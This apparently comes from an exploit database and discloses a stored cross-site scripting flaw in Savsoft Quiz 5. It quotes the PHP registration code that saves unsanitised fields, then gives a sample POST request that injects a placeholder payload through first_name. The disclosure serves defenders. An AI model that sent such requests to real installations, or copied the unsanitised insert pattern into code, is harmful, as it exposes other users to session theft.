Savsoft Quiz 5 - Persistent Cross-Site Scripting

# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
# Date: 2020-07-09
# Exploit Author: Ogulcan Unveren(th3d1gger)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Kali Linux

---Vulnerable Source Code----
  function insert_user_2(){

		$userdata=array(
		'email'=>$this->input->post('email'),
		'password'=>md5($this->input->post('password')),
		'first_name'=>$this->input->post('first_name'),
		'last_name'=>$this->input->post('last_name'),
		'contact_no'=>$this->input->post('contact_no'),
		'gid'=>implode(',',$this->input->post('gid')),
		'su'=>'2'
		);
		$veri_code=rand('1111','9999');
		 if($this->config->item('verify_email')){
			$userdata['verify_code']=$veri_code;
		 }
		 		if($this->session->userdata('logged_in_raw')){
					$userraw=$this->session->userdata('logged_in_raw');
					$userraw_uid=$userraw['uid'];
					$this->db->where('uid',$userraw_uid);
				$rresult=$this->db->update('savsoft_users',$userdata);
				if($this->session->userdata('logged_in_raw')){
				$this->session->unset_userdata('logged_in_raw');
				}
				}else{

		$rresult=$this->db->insert('savsoft_users',$userdata);
		$uid=$this->db->insert_id();
		foreach($_POST['custom'] as $ck => $cv){
			if($cv != ''){
		$savsoft_users_custom=array(
		'field_id'=>$ck,
		'uid'=>$uid,
		'field_values'=>$cv
		);
		$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
			}
		}




----Vulnerable Request---
POST /index.php/login/insert_user/ HTTP/1.1
Host: savsoftquiz_v5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/index.php/login/registration/
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
Connection: close
Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
Upgrade-Insecure-Requests: 1

email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1